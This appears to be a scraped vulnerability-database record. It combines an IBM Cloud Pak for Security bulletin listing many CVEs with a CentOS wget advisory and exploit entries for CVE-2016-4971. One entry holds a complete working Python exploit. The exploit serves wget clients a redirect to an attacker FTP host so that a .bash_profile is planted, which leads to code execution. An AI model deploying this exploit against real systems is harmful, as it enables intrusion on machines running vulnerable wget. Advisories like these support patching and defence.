https://exchange.xforce.ibmcloud.com/vulnerabilities/131059](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131059>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2017-13730](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13730>) \n** DESCRIPTION: **Ncurses is vulnerable to a denial of service, caused by an illegal address access in the _nc_read_entry_source function in progs/tic.c. By using a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131057](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131057>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2017-13729](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13729>) \n** DESCRIPTION: **Ncurses is vulnerable to a denial of service, caused by an illegal address access in the _nc_save_str function in alloc_entry.c. By using a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131056](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131056>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-2708](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2708>) \n** DESCRIPTION: **An unspecified vulnerability in Oracle Berkeley DB related to the Data Store component could allow an authenticated attacker to cause a denial of service resulting in a low availability impact using unknown attack vectors. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/159800](<https://exchange.xforce.ibmcloud.com/vulnerabilities/159800>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-13012](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13012>) \n** DESCRIPTION: **GNOME GLib could allow a local attacker to bypass security restrictions, caused by improper permission control in the keyfile settings backend. An attacker could exploit this vulnerability to bypass access restrictions. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/166666](<https://exchange.xforce.ibmcloud.com/vulnerabilities/166666>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2017-7244](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7244>) \n** DESCRIPTION: **PCRE is vulnerable to a denial of service, caused by an invalid memory read flaw in the _pcre32_xclass function in pcre_xclass.c. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/123729](<https://exchange.xforce.ibmcloud.com/vulnerabilities/123729>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2018-14567](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14567>) \n** DESCRIPTION: **libxml2 is vulnerable to a denial of service, caused by an error in xzlib.c. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to enter into an infinite loop. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/148541](<https://exchange.xforce.ibmcloud.com/vulnerabilities/148541>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2018-14404](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14404>) \n** DESCRIPTION: **libxml2 is vulnerable to a denial of service, caused by a NULL pointer dereference in the xpath.c:xmlXPathCompOpEval() function. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/147260](<https://exchange.xforce.ibmcloud.com/vulnerabilities/147260>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-19956](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19956>) \n** DESCRIPTION: **libxml2 is vulnerable to a denial of service, caused by a memory leak in xmlParseBalancedChunkMemoryRecover in parser.c. By persuading a victim to open a specially crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/173518](<https://exchange.xforce.ibmcloud.com/vulnerabilities/173518>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-20388](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20388>) \n** DESCRIPTION: **GNOME libxml2 could allow a remote attacker to obtain sensitive information, caused by a xmlSchemaValidateStream memory leak in xmlSchemaPreRun in xmlschemas.c. By persuading a victim to open a specially crafted file, an attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/175539](<https://exchange.xforce.ibmcloud.com/vulnerabilities/175539>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2018-8740](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8740>) \n** DESCRIPTION: **SQLite is vulnerable to a denial of service, caused by a NULL pointer dereference in the src/build.c, src/prepare.c. By using a corrupted SQLite3 database file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/140476](<https://exchange.xforce.ibmcloud.com/vulnerabilities/140476>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2017-15286](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15286>) \n** DESCRIPTION: **SQLite is vulnerable to a denial of service, caused by a NULL pointer dereference in tableColumnList in shell.c. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/133477](<https://exchange.xforce.ibmcloud.com/vulnerabilities/133477>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-3601](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3601>) \n** DESCRIPTION: **OpenSSL could allow a remote authenticated attacker to bypass security restrictions, caused by the acceptance of a certificate with explicitly set Basic Constraints to CA:FALSE as a valid CA cert. An attacker could exploit this vulnerability for MITM to any connection from the victim machine. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213731](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213731>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2021-20266](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20266>) \n** DESCRIPTION: **RPM Project RPM is vulnerable to a denial of service, caused by an out-of-bounds read flaw in the hdrblobInit function in lib/header.c. By sending a specially-crafted request, a local authenticated attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 3.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/201041](<https://exchange.xforce.ibmcloud.com/vulnerabilities/201041>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-35588](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35588>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the VM component could allow an unauthenticated attacker to cause a denial of service resulting in a low availability impact using unknown attack vectors. \nCVSS Base score: 3.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211662](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211662>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2015-0837](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0837>) \n** DESCRIPTION: **Libgcrypt could allow a local attacker to obtain sensitive information, caused by a side-channel attack on data-dependent timing variations. An attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 2.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/110054](<https://exchange.xforce.ibmcloud.com/vulnerabilities/110054>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2017-7407](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7407>) \n** DESCRIPTION: **curl could allow a physical attacker to obtain sensitive information, caused by an error in the ourWriteOut function in tool_writeout.c. By reading a workstation screen during use of a --write-out argument ending in a '%' character, an attacker could exploit this vulnerability to obtain sensitive information from process memory. \nCVSS Base score: 2.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/125384](<https://exchange.xforce.ibmcloud.com/vulnerabilities/125384>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2015-1606](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1606>) \n** DESCRIPTION: **GnuPG2 is vulnerable to a denial of service, caused by a use-after-free error in build-packet.c when rejecting packets that don't belong into a keyring. By sending specially-crafted data packets, an attacker could exploit this vulnerability to cause the system to crash. \nCVSS Base score: 1.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/101024](<https://exchange.xforce.ibmcloud.com/vulnerabilities/101024>) for the current score. \nCVSS Vector: (AV:L/AC:H/Au:N/C:N/I:N/A:P) \n \n** CVEID: **[CVE-2015-1607](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1607>) \n** DESCRIPTION: **gnupg2 could allow a local attacker to obtain sensitive information, caused by an information leak in keybox_search.c. An attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 1.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/101025](<https://exchange.xforce.ibmcloud.com/vulnerabilities/101025>) for the current score. \nCVSS Vector: (AV:L/AC:H/Au:N/C:P/I:N/A:N)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nCloud Pak for Security (CP4S)| 1.8.1.0 \nCloud Pak for Security (CP4S)| 1.8.0.0 \nCloud Pak for Security (CP4S)| 1.7.2.0 \n \n\n\n## Remediation/Fixes\n\nPlease upgrade to CP4S 1.9.0.0 following instructions at <https://www.ibm.com/docs/en/cloud-paks/cp-security/1.9?topic=installing-upgrading-cloud-pak-security-from-18>\n\n## Workarounds and Mitigations\n\nNone\n\n## Get Notified about Future Security Bulletins\n\nSubscribe to [My Notifications](< http://www-01.ibm.com/software/support/einfo.html>) to be notified of important product support alerts like this.\n\n### References \n\n[Complete CVSS v3 Guide](<http://www.first.org/cvss/user-guide> \"Link resides outside of ibm.com\" ) \n[On-line Calculator v3](<http://www.first.org/cvss/calculator/3.0> \"Link resides outside of ibm.com\" )\n\nOff \n\n## Related Information\n\n[IBM Secure Engineering Web Portal](<http://www.ibm.com/security/secure-engineering/bulletins.html>) \n[IBM Product Security Incident Response Blog](<http://www.ibm.com/blogs/psirt>)\n\n## Change History\n\n21 Dec 2021: Initial Publication\n\n*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.\n\n## Disclaimer\n\nAccording to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an \"industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response.\" IBM PROVIDES THE CVSS SCORES \"\"AS IS\"\" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY.\n\n## Document Location\n\nWorldwide\n\n[{\"Business Unit\":{\"code\":\"BU059\",\"label\":\"IBM Software w\\/o TPS\"},\"Product\":{\"code\":\"SSTDPP\",\"label\":\"IBM Cloud Pak for Security\"},\"Component\":\"\",\"Platform\":[{\"code\":\"PF040\",\"label\":\"RedHat OpenShift\"}],\"Version\":\"1.8.1.0, 1.8.0.0, 1.7.2.0\",\"Edition\":\"\",\"Line of Business\":{\"code\":\"LOB24\",\"label\":\"Security Software\"}}]", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-01-28T10:19:34", "type": "ibm", "title": "Security Bulletin: Cloud Pak for Security uses packages that are vulnerable to multiple CVEs", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": true, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-3716", "CVE-2008-1191", "CVE-2008-3103", "CVE-2008-3105", "CVE-2008-3106", "CVE-2008-3109", "CVE-2008-3110", "CVE-2008-5347", "CVE-2008-5349", "CVE-2008-5352", "CVE-2008-5358", "CVE-2014-0452", "CVE-2014-2413", "CVE-2015-0247", "CVE-2015-0837", "CVE-2015-1606", "CVE-2015-1607", "CVE-2015-2059", "CVE-2015-2695", "CVE-2015-2696", "CVE-2015-2697", "CVE-2015-3153", "CVE-2015-4041", "CVE-2015-4042", "CVE-2015-5186", "CVE-2015-5218", "CVE-2015-5276", "CVE-2015-7036", "CVE-2015-8035", "CVE-2015-8382", "CVE-2015-8948", "CVE-2015-8982", "CVE-2015-8983", "CVE-2015-8984", "CVE-2015-8985", "CVE-2015-9251", "CVE-2016-0755", "CVE-2016-10254", "CVE-2016-10255", "CVE-2016-10540", "CVE-2016-10707", "CVE-2016-10735", "CVE-2016-1234", "CVE-2016-1938", "CVE-2016-1951", "CVE-2016-2226", "CVE-2016-2779", "CVE-2016-2781", "CVE-2016-3189", "CVE-2016-4008", "CVE-2016-4429", "CVE-2016-4472", "CVE-2016-4483", "CVE-2016-4487", "CVE-2016-4488", "CVE-2016-4489", "CVE-2016-4490", "CVE-2016-4491", "CVE-2016-4492", "CVE-2016-4493", "CVE-2016-4984", "CVE-2016-5300", "CVE-2016-6153", "CVE-2016-6261", "CVE-2016-6262", "CVE-2016-8615", "CVE-2016-8616", "CVE-2016-8617", "CVE-2016-8618", "CVE-2016-8619", "CVE-2016-8621", "CVE-2016-8623", "CVE-2016-8624", "CVE-2016-8625", "CVE-2016-9074", "CVE-2016-9318", "CVE-2016-9574", "CVE-2016-9586", "CVE-2017-1000100", "CVE-2017-1000254", "CVE-2017-10140", "CVE-2017-10684", "CVE-2017-10685", "CVE-2017-10790", "CVE-2017-10989", "CVE-2017-11112", "CVE-2017-11113", "CVE-2017-11164", "CVE-2017-11462", "CVE-2017-13685", "CVE-2017-13728", "CVE-2017-13729", "CVE-2017-13730", "CVE-2017-13731", "CVE-2017-13732", "CVE-2017-13733", "CVE-2017-13734", "CVE-2017-14062", "CVE-2017-15088", "CVE-2017-15286", "CVE-2017-15671", "CVE-2017-16879", "CVE-2017-16931", "CVE-2017-16932", "CVE-2017-18018", "CVE-2017-6004", "CVE-2017-6891", "CVE-2017-7000", "CVE-2017-7244", "CVE-2017-7245", "CVE-2017-7246", "CVE-2017-7407", "CVE-2017-7500", "CVE-2017-7501", "CVE-2017-7526", "CVE-2017-7607", "CVE-2017-7608", "CVE-2017-7609", "CVE-2017-7610", "CVE-2017-7611", "CVE-2017-7612", "CVE-2017-7613", "CVE-2017-7781", "CVE-2017-8817", "CVE-2017-9233", "CVE-2018-12700", "CVE-2018-14041", "CVE-2018-14404", "CVE-2018-14567", "CVE-2018-16429", "CVE-2018-16435", "CVE-2018-17101", "CVE-2018-18074", "CVE-2018-18508", "CVE-2018-20483", "CVE-2018-20676", "CVE-2018-20677", "CVE-2018-25009", "CVE-2018-25010", "CVE-2018-25012", "CVE-2018-25013", "CVE-2018-25014", "CVE-2018-3721", "CVE-2018-6003", "CVE-2018-8740", "CVE-2018-9234", "CVE-2019-1010266", "CVE-2019-10219", "CVE-2019-11358", "CVE-2019-13012", "CVE-2019-13050", "CVE-2019-13057", "CVE-2019-13115", "CVE-2019-13117", "CVE-2019-13565", "CVE-2019-13750", "CVE-2019-13751", "CVE-2019-13752", "CVE-2019-13753", "CVE-2019-1563", "CVE-2019-17594", "CVE-2019-17595", "CVE-2019-18218", "CVE-2019-18276", "CVE-2019-18874", "CVE-2019-19603", "CVE-2019-19645", "CVE-2019-19880", "CVE-2019-19906", "CVE-2019-19924", "CVE-2019-19956", "CVE-2019-20218", "CVE-2019-20387", "CVE-2019-20388", "CVE-2019-20838", "CVE-2019-2708", "CVE-2019-3859", "CVE-2019-3860", "CVE-2019-5827", "CVE-2019-8331", "CVE-2019-8457", "CVE-2019-9169", "CVE-2019-9633", "CVE-2019-9924", "CVE-2020-10001", "CVE-2020-11022", "CVE-2020-11023", "CVE-2020-12399", "CVE-2020-12762", "CVE-2020-13435", "CVE-2020-13558", "CVE-2020-13631", "CVE-2020-13645", "CVE-2020-13956", "CVE-2020-14145", "CVE-2020-14155", "CVE-2020-15719", "CVE-2020-16135", "CVE-2020-1752", "CVE-2020-1968", "CVE-2020-24025", "CVE-2020-24370", "CVE-2020-24870", "CVE-2020-24977", "CVE-2020-25219", "CVE-2020-25709", "CVE-2020-25710", "CVE-2020-26154", "CVE-2020-27828", "CVE-2020-27918", "CVE-2020-28168", "CVE-2020-28196", "CVE-2020-28498", "CVE-2020-29361", "CVE-2020-29362", "CVE-2020-29623", "CVE-2020-35448", "CVE-2020-35492", "CVE-2020-36221", "CVE-2020-36222", "CVE-2020-36223", "CVE-2020-36224", "CVE-2020-36225", "CVE-2020-36226", "CVE-2020-36227", "CVE-2020-36228", "CVE-2020-36229", "CVE-2020-36230", "CVE-2020-36241", "CVE-2020-36330", "CVE-2020-36331", "CVE-2020-36332", "CVE-2020-7595", "CVE-2020-7751", "CVE-2020-7768", "CVE-2020-7774", "CVE-2020-8285", "CVE-2020-8908", "CVE-2021-1788", "CVE-2021-1789", "CVE-2021-1799", "CVE-2021-1801", "CVE-2021-1844", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-20231", "CVE-2021-20232", "CVE-2021-20266", "CVE-2021-20270", "CVE-2021-20284", "CVE-2021-21775", "CVE-2021-21779", "CVE-2021-21806", "CVE-2021-22876", "CVE-2021-22898", "CVE-2021-22922", "CVE-2021-22923", "CVE-2021-22924", "CVE-2021-22925", "CVE-2021-22930", "CVE-2021-22931", "CVE-2021-22939", "CVE-2021-22940", "CVE-2021-22946", "CVE-2021-22947", "CVE-2021-23358", "CVE-2021-23440", "CVE-2021-23840", "CVE-2021-26690", "CVE-2021-26691", "CVE-2021-26926", "CVE-2021-26927", "CVE-2021-27212", "CVE-2021-27291", "CVE-2021-27645", "CVE-2021-28092", "CVE-2021-28153", "CVE-2021-28650", "CVE-2021-28957", "CVE-2021-29059", "CVE-2021-29425", "CVE-2021-29921", "CVE-2021-30641", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30682", "CVE-2021-30689", "CVE-2021-30720", "CVE-2021-30734", "CVE-2021-30744", "CVE-2021-30749", "CVE-2021-30758", "CVE-2021-30795", "CVE-2021-30797", "CVE-2021-30799", "CVE-2021-3115", "CVE-2021-31535", "CVE-2021-3200", "CVE-2021-32838", "CVE-2021-33503", "CVE-2021-33560", "CVE-2021-33574", "CVE-2021-33928", "CVE-2021-33929", "CVE-2021-33930", "CVE-2021-33938", "CVE-2021-3426", "CVE-2021-3445", "CVE-2021-3516", "CVE-2021-3517", "CVE-2021-3518", "CVE-2021-3520", "CVE-2021-3537", "CVE-2021-35550", "CVE-2021-35556", "CVE-2021-35559", "CVE-2021-35561", "CVE-2021-35564", "CVE-2021-35565", "CVE-2021-35567", "CVE-2021-35578", "CVE-2021-35586", "CVE-2021-35588", "CVE-2021-35603", "CVE-2021-3572", "CVE-2021-35942", "CVE-2021-3601", "CVE-2021-36085", "CVE-2021-36086", "CVE-2021-36087", "CVE-2021-36159", "CVE-2021-36222", "CVE-2021-3672", "CVE-2021-3711", "CVE-2021-37136", "CVE-2021-37137", "CVE-2021-3765", "CVE-2021-37714", "CVE-2021-37750", "CVE-2021-3778", "CVE-2021-3795", "CVE-2021-3796", "CVE-2021-38185", "CVE-2021-40438", "CVE-2021-41182", "CVE-2021-41183", "CVE-2021-41184", "CVE-2021-42374", "CVE-2021-42375", "CVE-2021-42378", "CVE-2021-42379", "CVE-2021-42380", "CVE-2021-42381", "CVE-2021-42382", "CVE-2021-42383", "CVE-2021-42384", "CVE-2021-42385", "CVE-2021-42386", "CVE-2021-42574", "CVE-2021-42771"], "modified": "2022-01-28T10:19:34", "id": "97D5F772EC68BDCD260FBB9DFB7A322AAAC657E9360305DF11F9C6A6A40D1B85", "href": "https://www.ibm.com/support/pages/node/6551876", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "centos": [{"lastseen": "2022-02-27T16:06:26", "description": "**CentOS Errata and Security Advisory** CESA-2016:2587\n\n\nThe wget packages provide the GNU Wget file retrieval utility for HTTP, HTTPS, and FTP protocols.\n\nSecurity Fix(es):\n\n* It was found that wget used a file name provided by the server for the downloaded file when following an HTTP redirect to a FTP server resource. This could cause wget to create a file with a different name than expected, possibly allowing the server to execute arbitrary code on the client. (CVE-2016-4971)\n\nRed Hat would like to thank GNU wget project for reporting this issue. Upstream acknowledges Dawid Golunski as the original reporter.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat Enterprise Linux 7.3 Release Notes linked from the References section.\n\n**Merged security bulletin from advisories:**\nhttps://lists.centos.org/pipermail/centos-cr-announce/2016-November/016447.html\n\n**Affected packages:**\nwget\n\n**Upstream details at:**\nhttps://access.redhat.com/errata/RHSA-2016:2587", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-11-25T15:51:17", "type": "centos", "title": "wget security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-11-25T15:51:17", "id": "CESA-2016:2587", "href": "https://lists.centos.org/pipermail/centos-cr-announce/2016-November/016447.html", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "zdt": [{"lastseen": "2021-12-21T23:23:38", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-30T00:00:00", "type": "zdt", "title": "GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution Exploit (2)", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2021-04-30T00:00:00", "id": "1337DAY-ID-36167", "href": "https://0day.today/exploit/description/36167", "sourceData": "# Exploit Title: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2)\n# Original Exploit Author: Dawid Golunski\n# Exploit Author: liewehacksie\n# Version: GNU Wget < 1.18 \n# CVE: CVE-2016-4971\n\nimport http.server\nimport socketserver\nimport socket\nimport sys\n\nclass wgetExploit(http.server.SimpleHTTPRequestHandler):\n\n def do_GET(self):\n # This takes care of sending .wgetrc/.bash_profile/$file\n\n print(\"We have a volunteer requesting \" + self.path + \" by GET :)\\n\")\n if \"Wget\" not in self.headers.get('User-Agent'):\n print(\"But it's not a Wget :( \\n\")\n self.send_response(200)\n self.end_headers()\n self.wfile.write(\"Nothing to see here...\")\n return\n\n self.send_response(301)\n print(\"Uploading \" + str(FILE) + \"via ftp redirect vuln. It should land in /home/ \\n\")\n new_path = 'ftp://[email\u00a0protected]{}:{}/{}'.format(FTP_HOST, FTP_PORT, FILE)\n\n print(\"Sending redirect to %s \\n\"%(new_path))\n self.send_header('Location', new_path)\n self.end_headers()\n\n\nHTTP_LISTEN_IP = '192.168.72.2'\nHTTP_LISTEN_PORT = 80\nFTP_HOST = '192.168.72.4'\nFTP_PORT = 2121\nFILE = '.bash_profile'\n\nhandler = socketserver.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)\n\nprint(\"Ready? Is your FTP server running?\")\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nresult = sock.connect_ex((FTP_HOST, FTP_PORT))\nif result == 0:\n print(\"FTP found open on %s:%s. Let's go then\\n\" % (FTP_HOST, FTP_PORT))\nelse:\n print(\"FTP is down :( Exiting.\")\n exit(1)\n\nprint(\"Serving wget exploit on port %s...\\n\\n\" % HTTP_LISTEN_PORT)\n\nhandler.serve_forever()\n", "sourceHref": "https://0day.today/exploit/36167", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2018-04-08T23:45:07", "description": "Exploit for linux platform in category remote exploits", "cvss3": {}, "published": "2016-07-06T00:00:00", "type": "zdt", "title": "GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2016-4971"], "modified": "2016-07-06T00:00:00", "id": "1337DAY-ID-25433", "href": "https://0day.today/exploit/description/25433", "sourceData": "=============================================\r\n- Release date: 06.07.2016\r\n- Discovered by: Dawid Golunski\r\n- Severity: High\r\n- CVE-2016-4971\r\n=============================================\r\n \r\n \r\nI. VULNERABILITY\r\n-------------------------\r\n \r\nGNU Wget < 1.18 Arbitrary File Upload / Potential Remote Code Execution\r\n \r\n \r\nII. BACKGROUND\r\n-------------------------\r\n \r\n\"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and \r\nFTP, the most widely-used Internet protocols. \r\nIt is a non-interactive commandline tool, so it may easily be called from \r\nscripts, cron jobs, terminals without X-Windows support, etc.\r\n \r\nGNU Wget has many features to make retrieving large files or mirroring entire \r\nweb or FTP sites easy\r\n\"\r\n \r\nhttps://www.gnu.org/software/wget/\r\n \r\n \r\nIII. 